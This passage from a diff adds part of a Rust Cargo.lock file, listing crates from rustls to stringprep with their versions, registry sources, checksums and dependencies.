| 4059 | + | checksum = "0283386ce02abc0151e1761d08802dfe86c173b0b494af5cbc086574e453da06" | |
| 4060 | + | dependencies = [ | |
| 4061 | + | "aws-lc-rs", | |
| 4062 | + | "once_cell", | |
| 4063 | + | "ring", | |
| 4064 | + | "rustls-pki-types", | |
| 4065 | + | "rustls-webpki", | |
| 4066 | + | "subtle", | |
| 4067 | + | "zeroize", | |
| 4068 | + | ] | |
| 4069 | + | ||
| 4070 | + | [[package]] | |
| 4071 | + | name = "rustls-pki-types" | |
| 4072 | + | version = "1.15.1" | |
| 4073 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4074 | + | checksum = "2f4925028c7eb5d1fcdaf196971378ed9d2c1c4efc7dc5d011256f76c99c0a96" | |
| 4075 | + | dependencies = [ | |
| 4076 | + | "web-time", | |
| 4077 | + | "zeroize", | |
| 4078 | + | ] | |
| 4079 | + | ||
| 4080 | + | [[package]] | |
| 4081 | + | name = "rustls-webpki" | |
| 4082 | + | version = "0.103.13" | |
| 4083 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4084 | + | checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e" | |
| 4085 | + | dependencies = [ | |
| 4086 | + | "aws-lc-rs", | |
| 4087 | + | "ring", | |
| 4088 | + | "rustls-pki-types", | |
| 4089 | + | "untrusted", | |
| 4090 | + | ] | |
| 4091 | + | ||
| 4092 | + | [[package]] | |
| 4093 | + | name = "rustversion" | |
| 4094 | + | version = "1.0.23" | |
| 4095 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4096 | + | checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" | |
| 4097 | + | ||
| 4098 | + | [[package]] | |
| 4099 | + | name = "ryu" | |
| 4100 | + | version = "1.0.23" | |
| 4101 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4102 | + | checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" | |
| 4103 | + | ||
| 4104 | + | [[package]] | |
| 4105 | + | name = "salsa20" | |
| 4106 | + | version = "0.10.2" | |
| 4107 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4108 | + | checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" | |
| 4109 | + | dependencies = [ | |
| 4110 | + | "cipher", | |
| 4111 | + | ] | |
| 4112 | + | ||
| 4113 | + | [[package]] | |
| 4114 | + | name = "same-file" | |
| 4115 | + | version = "1.0.6" | |
| 4116 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4117 | + | checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" | |
| 4118 | + | dependencies = [ | |
| 4119 | + | "winapi-util", | |
| 4120 | + | ] | |
| 4121 | + | ||
| 4122 | + | [[package]] | |
| 4123 | + | name = "schemars" | |
| 4124 | + | version = "0.9.0" | |
| 4125 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4126 | + | checksum = "4cd191f9397d57d581cddd31014772520aa448f65ef991055d7f61582c65165f" | |
| 4127 | + | dependencies = [ | |
| 4128 | + | "dyn-clone", | |
| 4129 | + | "ref-cast", | |
| 4130 | + | "serde", | |
| 4131 | + | "serde_json", | |
| 4132 | + | ] | |
| 4133 | + | ||
| 4134 | + | [[package]] | |
| 4135 | + | name = "schemars" | |
| 4136 | + | version = "1.2.2" | |
| 4137 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4138 | + | checksum = "687274d293b6cdc6e73e0fee520bf2049650090d7164f87672d212a3c530cf4a" | |
| 4139 | + | dependencies = [ | |
| 4140 | + | "dyn-clone", | |
| 4141 | + | "ref-cast", | |
| 4142 | + | "serde", | |
| 4143 | + | "serde_json", | |
| 4144 | + | ] | |
| 4145 | + | ||
| 4146 | + | [[package]] | |
| 4147 | + | name = "scopeguard" | |
| 4148 | + | version = "1.2.0" | |
| 4149 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4150 | + | checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" | |
| 4151 | + | ||
| 4152 | + | [[package]] | |
| 4153 | + | name = "scrypt" | |
| 4154 | + | version = "0.11.0" | |
| 4155 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4156 | + | checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" | |
| 4157 | + | dependencies = [ | |
| 4158 | + | "pbkdf2", | |
| 4159 | + | "salsa20", | |
| 4160 | + | "sha2", | |
| 4161 | + | ] | |
| 4162 | + | ||
| 4163 | + | [[package]] | |
| 4164 | + | name = "sec1" | |
| 4165 | + | version = "0.7.3" | |
| 4166 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4167 | + | checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" | |
| 4168 | + | dependencies = [ | |
| 4169 | + | "base16ct", | |
| 4170 | + | "der", | |
| 4171 | + | "generic-array", | |
| 4172 | + | "pkcs8", | |
| 4173 | + | "subtle", | |
| 4174 | + | "zeroize", | |
| 4175 | + | ] | |
| 4176 | + | ||
| 4177 | + | [[package]] | |
| 4178 | + | name = "semver" | |
| 4179 | + | version = "1.0.28" | |
| 4180 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4181 | + | checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" | |
| 4182 | + | ||
| 4183 | + | [[package]] | |
| 4184 | + | name = "serde" | |
| 4185 | + | version = "1.0.229" | |
| 4186 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4187 | + | checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" | |
| 4188 | + | dependencies = [ | |
| 4189 | + | "serde_core", | |
| 4190 | + | "serde_derive", | |
| 4191 | + | ] | |
| 4192 | + | ||
| 4193 | + | [[package]] | |
| 4194 | + | name = "serde-value" | |
| 4195 | + | version = "0.7.0" | |
| 4196 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4197 | + | checksum = "f3a1a3341211875ef120e117ea7fd5228530ae7e7036a779fdc9117be6b3282c" | |
| 4198 | + | dependencies = [ | |
| 4199 | + | "ordered-float", | |
| 4200 | + | "serde", | |
| 4201 | + | ] | |
| 4202 | + | ||
| 4203 | + | [[package]] | |
| 4204 | + | name = "serde_core" | |
| 4205 | + | version = "1.0.229" | |
| 4206 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4207 | + | checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" | |
| 4208 | + | dependencies = [ | |
| 4209 | + | "serde_derive", | |
| 4210 | + | ] | |
| 4211 | + | ||
| 4212 | + | [[package]] | |
| 4213 | + | name = "serde_derive" | |
| 4214 | + | version = "1.0.229" | |
| 4215 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4216 | + | checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" | |
| 4217 | + | dependencies = [ | |
| 4218 | + | "proc-macro2", | |
| 4219 | + | "quote", | |
| 4220 | + | "syn 3.0.3", | |
| 4221 | + | ] | |
| 4222 | + | ||
| 4223 | + | [[package]] | |
| 4224 | + | name = "serde_json" | |
| 4225 | + | version = "1.0.151" | |
| 4226 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4227 | + | checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14" | |
| 4228 | + | dependencies = [ | |
| 4229 | + | "indexmap 2.14.0", | |
| 4230 | + | "itoa", | |
| 4231 | + | "memchr", | |
| 4232 | + | "serde", | |
| 4233 | + | "serde_core", | |
| 4234 | + | "zmij", | |
| 4235 | + | ] | |
| 4236 | + | ||
| 4237 | + | [[package]] | |
| 4238 | + | name = "serde_path_to_error" | |
| 4239 | + | version = "0.1.20" | |
| 4240 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4241 | + | checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457" | |
| 4242 | + | dependencies = [ | |
| 4243 | + | "itoa", | |
| 4244 | + | "serde", | |
| 4245 | + | "serde_core", | |
| 4246 | + | ] | |
| 4247 | + | ||
| 4248 | + | [[package]] | |
| 4249 | + | name = "serde_plain" | |
| 4250 | + | version = "1.0.2" | |
| 4251 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4252 | + | checksum = "9ce1fc6db65a611022b23a0dec6975d63fb80a302cb3388835ff02c097258d50" | |
| 4253 | + | dependencies = [ | |
| 4254 | + | "serde", | |
| 4255 | + | ] | |
| 4256 | + | ||
| 4257 | + | [[package]] | |
| 4258 | + | name = "serde_urlencoded" | |
| 4259 | + | version = "0.7.1" | |
| 4260 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4261 | + | checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" | |
| 4262 | + | dependencies = [ | |
| 4263 | + | "form_urlencoded", | |
| 4264 | + | "itoa", | |
| 4265 | + | "ryu", | |
| 4266 | + | "serde", | |
| 4267 | + | ] | |
| 4268 | + | ||
| 4269 | + | [[package]] | |
| 4270 | + | name = "serde_with" | |
| 4271 | + | version = "3.21.0" | |
| 4272 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4273 | + | checksum = "76a5c54c7310e7b8b9577c286d7e399ddd876c3e12b3ed917a8aabc4b96e9e8c" | |
| 4274 | + | dependencies = [ | |
| 4275 | + | "base64 0.22.1", | |
| 4276 | + | "bs58", | |
| 4277 | + | "chrono", | |
| 4278 | + | "hex", | |
| 4279 | + | "indexmap 1.9.3", | |
| 4280 | + | "indexmap 2.14.0", | |
| 4281 | + | "schemars 0.9.0", | |
| 4282 | + | "schemars 1.2.2", | |
| 4283 | + | "serde_core", | |
| 4284 | + | "serde_json", | |
| 4285 | + | "serde_with_macros", | |
| 4286 | + | "time", | |
| 4287 | + | ] | |
| 4288 | + | ||
| 4289 | + | [[package]] | |
| 4290 | + | name = "serde_with_macros" | |
| 4291 | + | version = "3.21.0" | |
| 4292 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4293 | + | checksum = "84d57bc0c8b9a17920c178daa6bb924850d54a9c97ab45194bb8c17ad66bb660" | |
| 4294 | + | dependencies = [ | |
| 4295 | + | "darling", | |
| 4296 | + | "proc-macro2", | |
| 4297 | + | "quote", | |
| 4298 | + | "syn 2.0.119", | |
| 4299 | + | ] | |
| 4300 | + | ||
| 4301 | + | [[package]] | |
| 4302 | + | name = "sha1" | |
| 4303 | + | version = "0.10.7" | |
| 4304 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4305 | + | checksum = "a978451301f4db1d02937a4ab3ccce137717b81826e79b7d49ffe3244a13c3b8" | |
| 4306 | + | dependencies = [ | |
| 4307 | + | "cfg-if", | |
| 4308 | + | "cpufeatures 0.2.17", | |
| 4309 | + | "digest", | |
| 4310 | + | ] | |
| 4311 | + | ||
| 4312 | + | [[package]] | |
| 4313 | + | name = "sha1_smol" | |
| 4314 | + | version = "1.0.1" | |
| 4315 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4316 | + | checksum = "bbfa15b3dddfee50a0fff136974b3e1bde555604ba463834a7eb7deb6417705d" | |
| 4317 | + | ||
| 4318 | + | [[package]] | |
| 4319 | + | name = "sha2" | |
| 4320 | + | version = "0.10.9" | |
| 4321 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4322 | + | checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" | |
| 4323 | + | dependencies = [ | |
| 4324 | + | "cfg-if", | |
| 4325 | + | "cpufeatures 0.2.17", | |
| 4326 | + | "digest", | |
| 4327 | + | ] | |
| 4328 | + | ||
| 4329 | + | [[package]] | |
| 4330 | + | name = "sharded-slab" | |
| 4331 | + | version = "0.1.7" | |
| 4332 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4333 | + | checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" | |
| 4334 | + | dependencies = [ | |
| 4335 | + | "lazy_static", | |
| 4336 | + | ] | |
| 4337 | + | ||
| 4338 | + | [[package]] | |
| 4339 | + | name = "shell-words" | |
| 4340 | + | version = "1.1.1" | |
| 4341 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4342 | + | checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" | |
| 4343 | + | ||
| 4344 | + | [[package]] | |
| 4345 | + | name = "shlex" | |
| 4346 | + | version = "2.0.1" | |
| 4347 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4348 | + | checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" | |
| 4349 | + | ||
| 4350 | + | [[package]] | |
| 4351 | + | name = "signal-hook-registry" | |
| 4352 | + | version = "1.4.8" | |
| 4353 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4354 | + | checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" | |
| 4355 | + | dependencies = [ | |
| 4356 | + | "errno", | |
| 4357 | + | "libc", | |
| 4358 | + | ] | |
| 4359 | + | ||
| 4360 | + | [[package]] | |
| 4361 | + | name = "signature" | |
| 4362 | + | version = "2.2.0" | |
| 4363 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4364 | + | checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" | |
| 4365 | + | dependencies = [ | |
| 4366 | + | "digest", | |
| 4367 | + | "rand_core 0.6.4", | |
| 4368 | + | ] | |
| 4369 | + | ||
| 4370 | + | [[package]] | |
| 4371 | + | name = "simd-adler32" | |
| 4372 | + | version = "0.3.10" | |
| 4373 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4374 | + | checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea" | |
| 4375 | + | ||
| 4376 | + | [[package]] | |
| 4377 | + | name = "similar" | |
| 4378 | + | version = "2.7.0" | |
| 4379 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4380 | + | checksum = "bbbb5d9659141646ae647b42fe094daf6c6192d1620870b449d9557f748b2daa" | |
| 4381 | + | ||
| 4382 | + | [[package]] | |
| 4383 | + | name = "siphasher" | |
| 4384 | + | version = "1.0.3" | |
| 4385 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4386 | + | checksum = "8ee5873ec9cce0195efcb7a4e9507a04cd49aec9c83d0389df45b1ef7ba2e649" | |
| 4387 | + | ||
| 4388 | + | [[package]] | |
| 4389 | + | name = "slab" | |
| 4390 | + | version = "0.4.12" | |
| 4391 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4392 | + | checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" | |
| 4393 | + | ||
| 4394 | + | [[package]] | |
| 4395 | + | name = "slug" | |
| 4396 | + | version = "0.1.6" | |
| 4397 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4398 | + | checksum = "882a80f72ee45de3cc9a5afeb2da0331d58df69e4e7d8eeb5d3c7784ae67e724" | |
| 4399 | + | dependencies = [ | |
| 4400 | + | "deunicode", | |
| 4401 | + | "wasm-bindgen", | |
| 4402 | + | ] | |
| 4403 | + | ||
| 4404 | + | [[package]] | |
| 4405 | + | name = "smallvec" | |
| 4406 | + | version = "1.15.2" | |
| 4407 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4408 | + | checksum = "8ed6a63f02c8539c91a8685a86f4099661ba3da017932f6ebbea6de3f0fa7c90" | |
| 4409 | + | dependencies = [ | |
| 4410 | + | "serde", | |
| 4411 | + | ] | |
| 4412 | + | ||
| 4413 | + | [[package]] | |
| 4414 | + | name = "socket2" | |
| 4415 | + | version = "0.6.5" | |
| 4416 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4417 | + | checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4" | |
| 4418 | + | dependencies = [ | |
| 4419 | + | "libc", | |
| 4420 | + | "windows-sys 0.61.2", | |
| 4421 | + | ] | |
| 4422 | + | ||
| 4423 | + | [[package]] | |
| 4424 | + | name = "spin" | |
| 4425 | + | version = "0.9.9" | |
| 4426 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4427 | + | checksum = "3763264f6b73151db08c50ff20d7d8a0b8796e021cdea7ceedad07b80155fa0e" | |
| 4428 | + | dependencies = [ | |
| 4429 | + | "lock_api", | |
| 4430 | + | ] | |
| 4431 | + | ||
| 4432 | + | [[package]] | |
| 4433 | + | name = "spki" | |
| 4434 | + | version = "0.7.3" | |
| 4435 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4436 | + | checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" | |
| 4437 | + | dependencies = [ | |
| 4438 | + | "base64ct", | |
| 4439 | + | "der", | |
| 4440 | + | ] | |
| 4441 | + | ||
| 4442 | + | [[package]] | |
| 4443 | + | name = "sqlx" | |
| 4444 | + | version = "0.8.6" | |
| 4445 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4446 | + | checksum = "1fefb893899429669dcdd979aff487bd78f4064e5e7907e4269081e0ef7d97dc" | |
| 4447 | + | dependencies = [ | |
| 4448 | + | "sqlx-core", | |
| 4449 | + | "sqlx-macros", | |
| 4450 | + | "sqlx-mysql", | |
| 4451 | + | "sqlx-postgres", | |
| 4452 | + | "sqlx-sqlite", | |
| 4453 | + | ] | |
| 4454 | + | ||
| 4455 | + | [[package]] | |
| 4456 | + | name = "sqlx-core" | |
| 4457 | + | version = "0.8.6" | |
| 4458 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4459 | + | checksum = "ee6798b1838b6a0f69c007c133b8df5866302197e404e8b6ee8ed3e3a5e68dc6" | |
| 4460 | + | dependencies = [ | |
| 4461 | + | "base64 0.22.1", | |
| 4462 | + | "bytes", | |
| 4463 | + | "chrono", | |
| 4464 | + | "crc", | |
| 4465 | + | "crossbeam-queue", | |
| 4466 | + | "either", | |
| 4467 | + | "event-listener", | |
| 4468 | + | "futures-core", | |
| 4469 | + | "futures-intrusive", | |
| 4470 | + | "futures-io", | |
| 4471 | + | "futures-util", | |
| 4472 | + | "hashbrown 0.15.5", | |
| 4473 | + | "hashlink", | |
| 4474 | + | "indexmap 2.14.0", | |
| 4475 | + | "ipnetwork", | |
| 4476 | + | "log", | |
| 4477 | + | "memchr", | |
| 4478 | + | "once_cell", | |
| 4479 | + | "percent-encoding", | |
| 4480 | + | "rustls", | |
| 4481 | + | "serde", | |
| 4482 | + | "serde_json", | |
| 4483 | + | "sha2", | |
| 4484 | + | "smallvec", | |
| 4485 | + | "thiserror 2.0.19", | |
| 4486 | + | "tokio", | |
| 4487 | + | "tokio-stream", | |
| 4488 | + | "tracing", | |
| 4489 | + | "url", | |
| 4490 | + | "uuid", | |
| 4491 | + | "webpki-roots 0.26.11", | |
| 4492 | + | ] | |
| 4493 | + | ||
| 4494 | + | [[package]] | |
| 4495 | + | name = "sqlx-macros" | |
| 4496 | + | version = "0.8.6" | |
| 4497 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4498 | + | checksum = "a2d452988ccaacfbf5e0bdbc348fb91d7c8af5bee192173ac3636b5fb6e6715d" | |
| 4499 | + | dependencies = [ | |
| 4500 | + | "proc-macro2", | |
| 4501 | + | "quote", | |
| 4502 | + | "sqlx-core", | |
| 4503 | + | "sqlx-macros-core", | |
| 4504 | + | "syn 2.0.119", | |
| 4505 | + | ] | |
| 4506 | + | ||
| 4507 | + | [[package]] | |
| 4508 | + | name = "sqlx-macros-core" | |
| 4509 | + | version = "0.8.6" | |
| 4510 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4511 | + | checksum = "19a9c1841124ac5a61741f96e1d9e2ec77424bf323962dd894bdb93f37d5219b" | |
| 4512 | + | dependencies = [ | |
| 4513 | + | "dotenvy", | |
| 4514 | + | "either", | |
| 4515 | + | "heck", | |
| 4516 | + | "hex", | |
| 4517 | + | "once_cell", | |
| 4518 | + | "proc-macro2", | |
| 4519 | + | "quote", | |
| 4520 | + | "serde", | |
| 4521 | + | "serde_json", | |
| 4522 | + | "sha2", | |
| 4523 | + | "sqlx-core", | |
| 4524 | + | "sqlx-mysql", | |
| 4525 | + | "sqlx-postgres", | |
| 4526 | + | "sqlx-sqlite", | |
| 4527 | + | "syn 2.0.119", | |
| 4528 | + | "tokio", | |
| 4529 | + | "url", | |
| 4530 | + | ] | |
| 4531 | + | ||
| 4532 | + | [[package]] | |
| 4533 | + | name = "sqlx-mysql" | |
| 4534 | + | version = "0.8.6" | |
| 4535 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4536 | + | checksum = "aa003f0038df784eb8fecbbac13affe3da23b45194bd57dba231c8f48199c526" | |
| 4537 | + | dependencies = [ | |
| 4538 | + | "atoi", | |
| 4539 | + | "base64 0.22.1", | |
| 4540 | + | "bitflags 2.13.1", | |
| 4541 | + | "byteorder", | |
| 4542 | + | "bytes", | |
| 4543 | + | "chrono", | |
| 4544 | + | "crc", | |
| 4545 | + | "digest", | |
| 4546 | + | "dotenvy", | |
| 4547 | + | "either", | |
| 4548 | + | "futures-channel", | |
| 4549 | + | "futures-core", | |
| 4550 | + | "futures-io", | |
| 4551 | + | "futures-util", | |
| 4552 | + | "generic-array", | |
| 4553 | + | "hex", | |
| 4554 | + | "hkdf", | |
| 4555 | + | "hmac", | |
| 4556 | + | "itoa", | |
| 4557 | + | "log", | |
| 4558 | + | "md-5", | |
| 4559 | + | "memchr", | |
| 4560 | + | "once_cell", | |
| 4561 | + | "percent-encoding", | |
| 4562 | + | "rand 0.8.7", | |
| 4563 | + | "rsa", | |
| 4564 | + | "serde", | |
| 4565 | + | "sha1", | |
| 4566 | + | "sha2", | |
| 4567 | + | "smallvec", | |
| 4568 | + | "sqlx-core", | |
| 4569 | + | "stringprep", | |
| 4570 | + | "thiserror 2.0.19", | |
| 4571 | + | "tracing", | |
| 4572 | + | "uuid", | |
| 4573 | + | "whoami", | |
| 4574 | + | ] | |
| 4575 | + | ||
| 4576 | + | [[package]] | |
| 4577 | + | name = "sqlx-postgres" | |
| 4578 | + | version = "0.8.6" | |
| 4579 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4580 | + | checksum = "db58fcd5a53cf07c184b154801ff91347e4c30d17a3562a635ff028ad5deda46" | |
| 4581 | + | dependencies = [ | |
| 4582 | + | "atoi", | |
| 4583 | + | "base64 0.22.1", | |
| 4584 | + | "bitflags 2.13.1", | |
| 4585 | + | "byteorder", | |
| 4586 | + | "chrono", | |
| 4587 | + | "crc", | |
| 4588 | + | "dotenvy", | |
| 4589 | + | "etcetera", | |
| 4590 | + | "futures-channel", | |
| 4591 | + | "futures-core", | |
| 4592 | + | "futures-util", | |
| 4593 | + | "hex", | |
| 4594 | + | "hkdf", | |
| 4595 | + | "hmac", | |
| 4596 | + | "home", | |
| 4597 | + | "ipnetwork", | |
| 4598 | + | "itoa", | |
| 4599 | + | "log", | |
| 4600 | + | "md-5", | |
| 4601 | + | "memchr", | |
| 4602 | + | "once_cell", | |
| 4603 | + | "rand 0.8.7", | |
| 4604 | + | "serde", | |
| 4605 | + | "serde_json", | |
| 4606 | + | "sha2", | |
| 4607 | + | "smallvec", | |
| 4608 | + | "sqlx-core", | |
| 4609 | + | "stringprep", | |
| 4610 | + | "thiserror 2.0.19", | |
| 4611 | + | "tracing", | |
| 4612 | + | "uuid", | |
| 4613 | + | "whoami", | |
| 4614 | + | ] | |
| 4615 | + | ||
| 4616 | + | [[package]] | |
| 4617 | + | name = "sqlx-sqlite" | |
| 4618 | + | version = "0.8.6" | |
| 4619 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4620 | + | checksum = "c2d12fe70b2c1b4401038055f90f151b78208de1f9f89a7dbfd41587a10c3eea" | |
| 4621 | + | dependencies = [ | |
| 4622 | + | "atoi", | |
| 4623 | + | "chrono", | |
| 4624 | + | "flume", | |
| 4625 | + | "futures-channel", | |
| 4626 | + | "futures-core", | |
| 4627 | + | "futures-executor", | |
| 4628 | + | "futures-intrusive", | |
| 4629 | + | "futures-util", | |
| 4630 | + | "libsqlite3-sys", | |
| 4631 | + | "log", | |
| 4632 | + | "percent-encoding", | |
| 4633 | + | "serde", | |
| 4634 | + | "serde_urlencoded", | |
| 4635 | + | "sqlx-core", | |
| 4636 | + | "thiserror 2.0.19", | |
| 4637 | + | "tracing", | |
| 4638 | + | "url", | |
| 4639 | + | "uuid", | |
| 4640 | + | ] | |
| 4641 | + | ||
| 4642 | + | [[package]] | |
| 4643 | + | name = "ssh-cipher" | |
| 4644 | + | version = "0.2.0" | |
| 4645 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4646 | + | checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f" | |
| 4647 | + | dependencies = [ | |
| 4648 | + | "aes", | |
| 4649 | + | "aes-gcm", | |
| 4650 | + | "cbc", | |
| 4651 | + | "chacha20 0.9.1", | |
| 4652 | + | "cipher", | |
| 4653 | + | "ctr", | |
| 4654 | + | "poly1305", | |
| 4655 | + | "ssh-encoding", | |
| 4656 | + | "subtle", | |
| 4657 | + | ] | |
| 4658 | + | ||
| 4659 | + | [[package]] | |
| 4660 | + | name = "ssh-encoding" | |
| 4661 | + | version = "0.2.0" | |
| 4662 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4663 | + | checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15" | |
| 4664 | + | dependencies = [ | |
| 4665 | + | "base64ct", | |
| 4666 | + | "bytes", | |
| 4667 | + | "pem-rfc7468", | |
| 4668 | + | "sha2", | |
| 4669 | + | ] | |
| 4670 | + | ||
| 4671 | + | [[package]] | |
| 4672 | + | name = "ssh-key" | |
| 4673 | + | version = "0.6.7" | |
| 4674 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4675 | + | checksum = "3b86f5297f0f04d08cabaa0f6bff7cb6aec4d9c3b49d87990d63da9d9156a8c3" | |
| 4676 | + | dependencies = [ | |
| 4677 | + | "ed25519-dalek", | |
| 4678 | + | "num-bigint-dig", | |
| 4679 | + | "p256", | |
| 4680 | + | "p384", | |
| 4681 | + | "p521", | |
| 4682 | + | "rand_core 0.6.4", | |
| 4683 | + | "rsa", | |
| 4684 | + | "sec1", | |
| 4685 | + | "sha2", | |
| 4686 | + | "signature", | |
| 4687 | + | "ssh-cipher", | |
| 4688 | + | "ssh-encoding", | |
| 4689 | + | "subtle", | |
| 4690 | + | "zeroize", | |
| 4691 | + | ] | |
| 4692 | + | ||
| 4693 | + | [[package]] | |
| 4694 | + | name = "stable_deref_trait" | |
| 4695 | + | version = "1.2.1" | |
| 4696 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4697 | + | checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" | |
| 4698 | + | ||
| 4699 | + | [[package]] | |
| 4700 | + | name = "static_assertions" | |
| 4701 | + | version = "1.1.0" | |
| 4702 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4703 | + | checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" | |
| 4704 | + | ||
| 4705 | + | [[package]] | |
| 4706 | + | name = "streaming-iterator" | |
| 4707 | + | version = "0.1.9" | |
| 4708 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4709 | + | checksum = "2b2231b7c3057d5e4ad0156fb3dc807d900806020c5ffa3ee6ff2c8c76fb8520" | |
| 4710 | + | ||
| 4711 | + | [[package]] | |
| 4712 | + | name = "string_cache" | |
| 4713 | + | version = "0.9.0" | |
| 4714 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4715 | + | checksum = "a18596f8c785a729f2819c0f6a7eae6ebeebdfffbfe4214ae6b087f690e31901" | |
| 4716 | + | dependencies = [ | |
| 4717 | + | "new_debug_unreachable", | |
| 4718 | + | "parking_lot", | |
| 4719 | + | "phf_shared", | |
| 4720 | + | "precomputed-hash", | |
| 4721 | + | ] | |
| 4722 | + | ||
| 4723 | + | [[package]] | |
| 4724 | + | name = "string_cache_codegen" | |
| 4725 | + | version = "0.6.1" | |
| 4726 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4727 | + | checksum = "585635e46db231059f76c5849798146164652513eb9e8ab2685939dd90f29b69" | |
| 4728 | + | dependencies = [ | |
| 4729 | + | "phf_generator", | |
| 4730 | + | "phf_shared", | |
| 4731 | + | "proc-macro2", | |
| 4732 | + | "quote", | |
| 4733 | + | ] | |
| 4734 | + | ||
| 4735 | + | [[package]] | |
| 4736 | + | name = "stringprep" | |
| 4737 | + | version = "0.1.5" | |
| 4738 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4739 | + | checksum = "7b4df3d392d81bd458a8a621b8bffbd2302a12ffe288a9d931670948749463b1" | |
| 4740 | + | dependencies = [ | |
| 4741 | + | "unicode-bidi", | |
